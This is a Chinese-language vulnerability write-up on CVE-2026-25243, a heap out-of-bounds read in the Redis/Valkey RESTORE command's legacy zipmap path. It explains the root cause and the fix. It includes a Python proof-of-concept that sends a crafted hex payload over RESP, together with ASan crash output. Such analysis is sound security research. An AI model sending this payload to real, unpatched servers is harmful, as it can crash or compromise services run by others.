跳过正文

CVE-2026-25243 Invalid Memory Access in Redis RESTORE Command May Lead to Remote Code Execution

作者
杨全烨
系统软件:操作系统、网络与分布式系统。
目录

CVE-2026-25243 — Invalid Memory Access in Redis RESTORE Command May Lead to Remote Code Execution
#

该漏洞的触发点位于 Redis 的 RESTORE 命令。

  • 正常行为RESTORE 命令主要用于将 RDB 格式的序列化值(通常由 DUMP 命令生成)反序列化,并重新创建为 Redis 内存中的键值对。
  • 异常行为:在底层 C 语言的实现中,如果攻击者构造了一个格式畸形长度异常或包含恶意指针偏移量的序列化 Payload(有效载荷)并提交给 RESTORE,Redis 在解析这串数据时,未能充分验证其合法性。这会导致非法的内存访问(越界读/写),进而在堆内存(Heap)中触发缓冲区溢出。攻击者可通过精心布局堆内存,劫持程序的执行流,从而在 Redis 服务器的上下文中执行任意系统命令。

根据 CVSS v4 的指标(AV:N/AC:H/AT:N/PR:L/UI:N),该漏洞的利用门槛如下:

  • 必须具备网络访问权限 (AV:N):攻击者需要能通过网络连接到该 Redis 实例。
  • 必须经过身份验证 (PR:L):这是一个后授权漏洞。攻击者不能是匿名访问者,必须已经获得了 Redis 的访问凭证(如密码或特定用户的 ACL 权限)。
  • 必须具有执行 RESTORE 的权限:如果攻击者使用的账号被限制了特定高危命令的使用,则无法触发该漏洞。
  • 利用复杂度较高 (AC:H):在现代操作系统(如开启了 ASLR、NX 等内存保护机制)上,稳定地利用堆溢出实现 RCE 通常需要较高的技术技巧,可能需要结合内存泄漏或其他手段来绕过防护。

CVE链接:https://github.com/redis/redis/security/advisories/GHSA-c8h9-259x-jff4

受影响范围
#

全部版本

目前所有版本已经修复

根因分析
#

我们还是利用valkey的代码仓库来进行分析和复现,首先可以了解一下valkey的背景故事,二者同根同源,所以在一些典型的组件或者机制上出现的CVE问题往往可以进行交叉的验证,找到一个就可以在这两个仓库上都试试。 想要理解本次CVE的分析,还是需要你对redis的某些机制和组件,比如数据结构,和持久化机制有简单的了解,不过之后我们将会补充相关的信息。

复现和分析环境
#

由于目前该漏洞已经被修复,我们切换到本次补丁commit的上一个commit开始进行分析。

git checkout fea0b4064^ # 修复前一版的commit

攻击面总览
#

层级 组件 作用
命令层 RESTORE 接收 DUMP 格式的二进制,反序列化为内存对象
校验层 verifyDumpPayload() RDB 版本 + CRC64
加载层 rdbLoadObject() 按 1 字节 type 分支加载
遗留编码 RDB_TYPE_HASH_ZIPMAP (9) 极老 Redis 小 hash;加载时 转成 listpack
漏洞点 zipmapValidateIntegrity vs zipmapNext 两套“长度前缀步长”不一致

整体的调用链 (从客户端到越界读)
#

    A[客户端 RESTORE key ttl payload] --> B[restoreCommand cluster.c]
    B --> C[verifyDumpPayload CRC + RDB版本]
    C --> D[rdbLoadObjectType 读 type 字节]
    D --> E[rdbLoadObject case HASH_ZIPMAP]
    E --> F[zipmapValidateIntegrity deep=1]
    F -->|通过| G[while zipmapNext 转 listpack]
    G --> H[sdstrynewlen 可能越界读]

src/cluster.c中的核心逻辑:

/* RESTORE key ttl serialized-value [REPLACE] [ABSTTL] [IDLETIME seconds] [FREQ frequency] */
// RESTORE command:将rdb格式的序列化值反序列化,重新生成内存中的键值对.
void restoreCommand(client *c) {
	......
	/* Verify RDB version and data checksum. */
	// 验证RDB的格式 算校验和 ---> 这个校验你可以跳过,但是攻击者也可以直接构造一个正确的CRC来注入
    if (verifyDumpPayload(objectGetVal(c->argv[3]), sdslen(objectGetVal(c->argv[3])), &rdbver) == C_ERR) {
        addReplyError(c, "DUMP payload version or checksum are wrong");
        return;
    }

    rioInitWithBuffer(&payload, objectGetVal(c->argv[3]));
    type = rdbLoadObjectType(&payload);
    ...
    // 这里是开始真正加载某个对象
    obj = rdbLoadObject(type, &payload, objectGetVal(key), c->db->id, NULL, RDBFLAGS_NONE, 0);
    if (obj == NULL) {
        addReplyError(c, "Bad data format");
        return;
    }
    ......
}

DUMP/RESTORE 载荷格式(无 REDIS/VALKEY magic,仅 type + 对象 + footer):

[type 1B][RDB 编码的对象体][RDB version 2B LE][CRC64 8B LE]

verifyDumpPayload可用 DEBUG SET-SKIP-CHECKSUM-VALIDATION yes 跳过 CRC(实验用,真实攻击可算正确 CRC),就像我们在代码注释中提到过的。

为什么现代redis的Hash还会受到影响?
#

当前写入的 Hash 多为 listpack 或 hashtable,但 RDB type 9 仍被支持:攻击者直接构造 RESTORE payload无需服务器上已有 zipmap key。 我们看看RDB支持了哪些数据结构的类型?

/* Map object types to RDB object types. Macros starting with OBJ_ are for
 * memory storage and may change. Instead RDB types must be fixed because
 * we store them on disk. */
enum RdbType {
    RDB_TYPE_STRING = 0,
        RDB_TYPE_LIST = 1,
        RDB_TYPE_SET = 2,
        RDB_TYPE_ZSET = 3,
        RDB_TYPE_HASH = 4,
        RDB_TYPE_ZSET_2 = 5, /* ZSET version 2 with doubles stored in binary. */
        RDB_TYPE_MODULE_PRE_GA = 6, /* Used in 4.0 release candidates */
        RDB_TYPE_MODULE_2 = 7,
        /* Module value with annotations for parsing without \
the generating module being loaded. */
        RDB_TYPE_HASH_ZIPMAP = 9,  // 可以看到这里就是本次漏洞所在,HASH_ZIPMAP 9
        RDB_TYPE_LIST_ZIPLIST = 10,
        RDB_TYPE_SET_INTSET = 11,
        RDB_TYPE_ZSET_ZIPLIST = 12,
        RDB_TYPE_HASH_ZIPLIST = 13,
        RDB_TYPE_LIST_QUICKLIST = 14,
        RDB_TYPE_STREAM_LISTPACKS = 15,
        RDB_TYPE_HASH_LISTPACK = 16, /* Added in RDB 10 (7.0) */
        RDB_TYPE_ZSET_LISTPACK = 17,
        RDB_TYPE_LIST_QUICKLIST_2 = 18,
        RDB_TYPE_STREAM_LISTPACKS_2 = 19,
        RDB_TYPE_SET_LISTPACK = 20, /* Added in RDB 11 (7.2) */
        RDB_TYPE_STREAM_LISTPACKS_3 = 21,
        RDB_TYPE_HASH_2 = 22, /* Hash with field-level expiration, RDB 80 (9.0) */
        RDB_TYPE_LAST
};

那么我们来到src/rdb.c中的rdbLoadObject的zipmap分支看看:

/* Load an Object of the specified type from the specified file.
 * On success a newly allocated object is returned, otherwise NULL.
 * When the function returns NULL and if 'error' is not NULL, the
 * integer pointed by 'error' is set to the type of error that occurred */
// 从某个特定的文件中加载某个特定类型的对象
// 成功的话,返回在内存中分配的对象,失败就返回NULL
robj * rdbLoadObject(int rdbtype, rio * rdb, sds key, int dbid, int * error, int rdbflags, mstime_t now) {
        ......
        /* Fix the object encoding, and make sure to convert the encoded
         * data type into the base type if accordingly to the current
         * configuration there are too many elements in the encoded data
         * type. Note that we only check the length and not max element
         * size as this is an O(N) scan. Eventually everything will get
         * converted. */
        switch (rdbtype) {
            case RDB_TYPE_HASH_ZIPMAP:
                /* Since we don't keep zipmaps anymore, the rdb loading for these
                 * is O(n) anyway, use `deep` validation. */
                if (!zipmapValidateIntegrity(encoded, encoded_len, 1)) {
                    rdbReportCorruptRDB("Zipmap integrity check failed.");
                    zfree(encoded);
                    objectSetVal(o, NULL);
                    decrRefCount(o);
                    return NULL;
                }
                /* Convert to ziplist encoded hash. This must be deprecated
                 * when loading dumps created by Redis OSS 2.4 gets deprecated. */
                {
                    unsigned char * lp = lpNew(0);
                    unsigned char * zi = zipmapRewind(objectGetVal(o));
                    unsigned char * fstr, * vstr;
                    unsigned int flen, vlen;
                    unsigned int maxlen = 0;
                    hashtable * dupSearchHashtable = hashtableCreate( & setHashtableType);
                    while ((zi = zipmapNext(zi, & fstr, & flen, & vstr, & vlen)) != NULL) {
                        if (flen > maxlen) maxlen = flen;
                        if (vlen > maxlen) maxlen = vlen;
                        /* search for duplicate records */
                        sds field = sdstrynewlen(fstr, flen);
                        int field_added = field && hashtableAdd(dupSearchHashtable, field);
                        if (!field_added || !lpSafeToAdd(lp, (size_t) flen + vlen)) {
                            rdbReportCorruptRDB("Hash zipmap with dup elements, or big length (%u)", flen);
                            hashtableRelease(dupSearchHashtable);
                            if (!field_added) sdsfree(field);
                            zfree(encoded);
                            zfree(lp);
                            objectSetVal(o, NULL);
                            decrRefCount(o);
                            return NULL;
                        }
                        lp = lpAppend(lp, fstr, flen);
                        lp = lpAppend(lp, vstr, vlen);
                    }
                }
                ......
        }

流程:深度校验通过 → zipmapNext 遍历 → 每条 field/value 写入 listpack(这个过程就是在把zipmap这种老数据结构转换成我们的listpack来继续处理)。漏洞发生在校验与迭代对“长度前缀占几字节”理解不一致。

我们来看看这两个数据结构 listpack & zipmap
#

引入listpack就是为了解决压缩列表的连锁更新的问题,我们复习一下这两个数据结构,如果您了解,可以跳过。

listpack
#

还是紧凑的来保存数据,我们来看一整个listpack的结构:

[listpack 总字节数][listpack 元素数量][listpack entry][listpack entry][listpack entry][listpack 结尾标识]

这么看起来会比较形象,但是实际上在源码中,我们使用unsigned char *的连续字节,读出来的时候才会使用listpackEntry来对这些结构体进行“解释”,我们来看看listpack.c中的描述:

#define LP_HDR_SIZE 6 /* 32 bit total len + 16 bit number of elements. */
#define LP_HDR_NUMELE_UNKNOWN UINT16_MAX
// ...
#define lpGetTotalBytes(p) \
    (((uint32_t)(p)[0] << 0) | ((uint32_t)(p)[1] << 8) | ((uint32_t)(p)[2] << 16) | ((uint32_t)(p)[3] << 24))

#define lpGetNumElements(p) (((uint32_t)(p)[4] << 0) | ((uint32_t)(p)[5] << 8))

逻辑布局:

+----------+----------+----------+----------+----------+----------+-----+ ... +-----+
| total    | total    | total    | total    | numele   | numele   |entry|     |0xFF |
| bytes    | (LE 32)  |          |          | (LE 16)  |          |  1  |     | EOF |
+----------+----------+----------+----------+----------+----------+-----+ ... +-----+
|<------------------------ LP_HDR_SIZE = 6 ------------------------>|<-- entries -->|
  • offset 0–3:整个 listpack 字节数(小端 uint32_t
  • offset 4–5:元素个数;UINT16_MAX 表示未知,需扫描(LP_HDR_NUMELE_UNKNOWN
  • offset 6 起:一串 entry
  • 最后一个字节:LP_EOF0xFF) 我们看到后面就存放了listpack entry,我们来研究一下: A.内存中的entry结构:
[ encoding + payload ... ][ backlen ]
  • encoding + payload:由首字节高位模式区分整数/字符串及长度
  • backlen:entry 总长度的变长编码,供 lpPrev() 反向遍历 B.listpackEntry 这是读出来之后的逻辑值,对于每个listpack entry,实际上能够使用不同的编码方式保存不同大小的数据. 这里有结构体了,我们看看:
/* Each entry in the listpack is either a string or an integer. */
// 每个entry都被解释称一个字符串或者整数
typedef struct {
    /* When string is used, it is provided with the length (slen). */
    // 这里就指向listpack内部的对应缓冲区
    unsigned char *sval;
    uint32_t slen;
    /* When integer is used, 'sval' is NULL, and lval holds the value. */
    long long lval;
} listpackEntry;

zipmap
#

zipmap 是早期 Redis 的 字符串→字符串 紧凑映射(O(n) 查找),布局见 src/zipmap.c 文件头注释:

[zmlen 1B][field len 前缀][field 数据][value len 前缀][free 1B][value 数据] ... [0xFF END]

长度编码规则(ZIPMAP_BIGLEN = 254):

首字节 含义 前缀宽度
0–253 长度即该值 1 字节
254 (0xFE) 后跟 4 字节 uint32(小端) 5 字节
255 ZIPMAP_END
zipmap.c中:
static unsigned int zipmapDecodeLength(unsigned char *p) {
    unsigned int len = *p;
    if (len < ZIPMAP_BIGLEN) return len;
    memcpy(&len, p + 1, sizeof(unsigned int));
    memrev32ifbe(&len);
    return len;
}

static unsigned int zipmapEncodeLength(unsigned char *p, unsigned int len) {
    ...
    return ZIPMAP_LEN_BYTES(len);  /* l<254 → 1 字节,否则 5 字节 */
}

static unsigned int zipmapGetEncodedLengthSize(unsigned char *p) {
    return (*p < ZIPMAP_BIGLEN) ? 1 : 5;  /* 看线上首字节,不看解码值 */
}

static unsigned int zipmapRawKeyLength(unsigned char *p) {
    unsigned int l = zipmapDecodeLength(p);
    return zipmapEncodeLength(NULL, l) + l;  /* 按解码值 l 重算前缀宽度 */
}

漏洞根因:两套步长差 4 字节
#

PoC 在 第一个 field 的长度前缀 写入:

fe 03 00 00 00   → 线上 5 字节编码,解码 l = 3
61 62 63         → "abc"
阶段 函数 field 前缀如何前进
校验 zipmapValidateIntegrity s = zipmapGetEncodedLengthSize(p) → 见 0xFE → 5 → 共前进 5+3=8
迭代 zipmapNext → zipmapRawKeyLength l=3 → zipmapEncodeLength(NULL,3) → 1 → 共前进 1+3=4
差 4 字节。第二次 zipmapNext 时指针落在 "abc" 中间,可能把 0x61'a')当成长度 97,随后 sdstrynewlen(fstr, 97) 对 24 字节 的 zipmap buffer 堆越界读(ASan: heap-buffer-overflow in zipmapNext)。
时间线示意:
buffer: [02][fe 03 00 00 00][a][b][c][03][00][def]...
校验 p ──每次按 5 字节前缀走
迭代 zi ──第一次只按 1 字节前缀走 → 错位 → 误读 0x61 为长度 97

与 listpack / RDB 的关系
#

  • listpack:转换目标,现代 hash 的紧凑编码;本 CVE 不直接破坏 listpack,而是进入转换前的zipmap迭代出错
  • RDB type 9:src/rdb.h 中 RDB_TYPE_HASH_ZIPMAP = 9;RESTORE payload 首字节为 0x09,后跟 RDB 长度前缀 + zipmap 字节串。
  • sanitize_dump_payload:主要约束 ziplist/listpack 等;zipmap 路径在修复前是 zipmapValidateIntegrity 逻辑缺陷,不是简单关 sanitize 能修。

从越界读到 RCE
#

本 CVE 归类 CWE-122(堆上非法访问)。单次 PoC 多为 heap-buffer-overflow read; 在特定堆布局与后续利用链下,理论上可能升级为写原语或 RCE(官方 CVSS 标 High),这个之后可以尝试一下,那应该暂时没人利用过这个来RCE. 学习阶段以 ASan 复现 + 理解校验缺口 为主即可。

复现
#

下面脚本可:构造载荷、可选变异、经 RESP 发送 RESTORE、支持跳过 CRC(DEBUG)或附带 CRC 占位. 此脚本已经放在本文件夹对应的目录下方:

#!/usr/bin/env python3

"""
CVE-2026-25243 PoC — same bytes & flow as tests/unit/dump.tcl (fea0b4064).

DEBUG SET-SKIP-CHECKSUM-VALIDATION 1
RESTORE zipmap_test 0 <binary payload>
DEBUG SET-SKIP-CHECKSUM-VALIDATION 0

Payload contains NUL bytes; must use RESP socket (valkey-cli argv cannot carry it).
Start server like runtest {needs:debug}:
./src/valkey-server --port 6379 --enable-debug-command yes
python3 exploit.py
# or: ./runtest --single tests/unit/dump.tcl -match '*CVE-2026-25243*'
"""
from __future__ import annotations

import argparse
import socket
import sys

# Exact bytes from tests/unit/dump.tcl (36 bytes; footer = 0x50 0x00 + 8-byte CRC)
# 这里就是直接从官方的测试用例中构造的
PAYLOAD = bytes.fromhex(
"091802fe0300000061626303006465660367686903006a6b6cff"
"50000000000000000000"
)

KEY = "zipmap_test"

def resp_command(*args: str | bytes) -> bytes:
parts: list[bytes] = []
for a in args:
if isinstance(a, str):
a = a.encode()
parts.append(f"${len(a)}\r\n".encode() + a + b"\r\n")
return b"*" + str(len(parts)).encode() + b"\r\n" + b"".join(parts)

def run_poc(host: str, port: int) -> str:
"""Same command sequence as dump.tcl CVE-2026-25243 test."""
pipeline = b"".join(
[
resp_command("DEBUG", "SET-SKIP-CHECKSUM-VALIDATION", "1"),
resp_command("RESTORE", KEY, "0", PAYLOAD),
resp_command("DEBUG", "SET-SKIP-CHECKSUM-VALIDATION", "0"),
resp_command("EXISTS", KEY),
]
)
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(pipeline)
return s.recv(65536).decode("utf-8", errors="replace")
  

def main() -> None:
ap = argparse.ArgumentParser(description="CVE-2026-25243 (dump.tcl PoC)")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=6379)
ap.add_argument("--hex", action="store_true", help="Print payload hex and exit")
args = ap.parse_args()

if args.hex:
print(f"payload ({len(PAYLOAD)} bytes): {PAYLOAD.hex()}")
return
  
print(f"[*] payload {len(PAYLOAD)} bytes (tests/unit/dump.tcl)")
print(f"[*] {args.host}:{args.port} via RESP")
  
try:
out = run_poc(args.host, args.port)
except OSError as e:
print(f"[!] connect failed: {e}", file=sys.stderr)
sys.exit(1)
  
print(out)
  
if "DEBUG command not allowed" in out:
print(
"\n[!] 需要开启 DEBUG(与 runtest needs:debug 一致):\n"
" ./src/valkey-server --port 6379 --enable-debug-command yes",
file=sys.stderr,
)
sys.exit(1)
  
if "checksum are wrong" in out:
print(
"\n[!] CRC 仍失败:DEBUG 必须用 1/0(不能用 yes/no,atoi(\"yes\")==0)。",
file=sys.stderr,
)
sys.exit(1)
  
if "Bad data format" in out:
print(
"\n[+] 与 Tcl 一致:Bad data format(已打补丁时正常)。"
"\n 未打补丁 + ASan:请看 server 终端 heap-buffer-overflow @ zipmapNext。"
)
elif "Connection refused" in out or not out.strip():
print("\n[!] server 可能已崩溃(漏洞版 ASan 常见),请查看 server 日志。", file=sys.stderr)
else:
print("\n[?] 对照 server / ASan 输出。")
  
if __name__ == "__main__":
main()

我们这样进行复现:

./src/valkey-server --port 6379 --enable-debug-command yes # 注意,这里需要开启debug指令
python3 exploit.py

接着在server端我们应该能看到crash的日志,这里就是堆溢出:

==357339==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba013ff9d58 at pc 0x5572590288b4 bp 0x7ffcf1d6f870 sp 0x7ffcf1d6f860

手动的hex是这样的:

09 18 02 fe 03 00 00 00 61 62 63 03 00 64 65 66 03 67 68 69 03 00 6a 6b 6c ff 50 00 + 8字节 CRC

修复手法
#

修复 commit
#

  • Commit: fea0b4064(PR #3619)
  • 文件: src/zipmap.ctests/unit/dump.tcl 回归测试)

修复原理
#

在 zipmapValidateIntegrity() 中,对 field 名 和 value 的长度前缀各增加 canonical 检查:

l = zipmapDecodeLength(p);
/* 解码长度 < 254 时,线上编码必须只占 1 字节 */
if (l < ZIPMAP_BIGLEN && s != 1)
    return 0;

含义:

  • 合法小长度必须用 1 字节(0x03),不能用 0xFE + uint32 的 5 字节 overlong 形式(除非解码值 ≥ 254)。
  • 校验路径与 zipmapNext 对“前缀宽度”的语义在 进入转换循环之前 对齐。
  • 改动小,不影响合法 zipmap(如单测里 len=512 的 5 字节编码仍满足 l >= 254 或 s == 5)。

修复后行为
#

项目 修复前 修复后
zipmapValidateIntegrity overlong 可能通过 返回 0,拒绝
rdbLoadObject 进入 zipmapNext 可能越界 返回 NULL → Bad data format
ASan heap-buffer-overflow
EXISTS zipmap_test 0 0
修复之后,你可以运行脚本进行测试。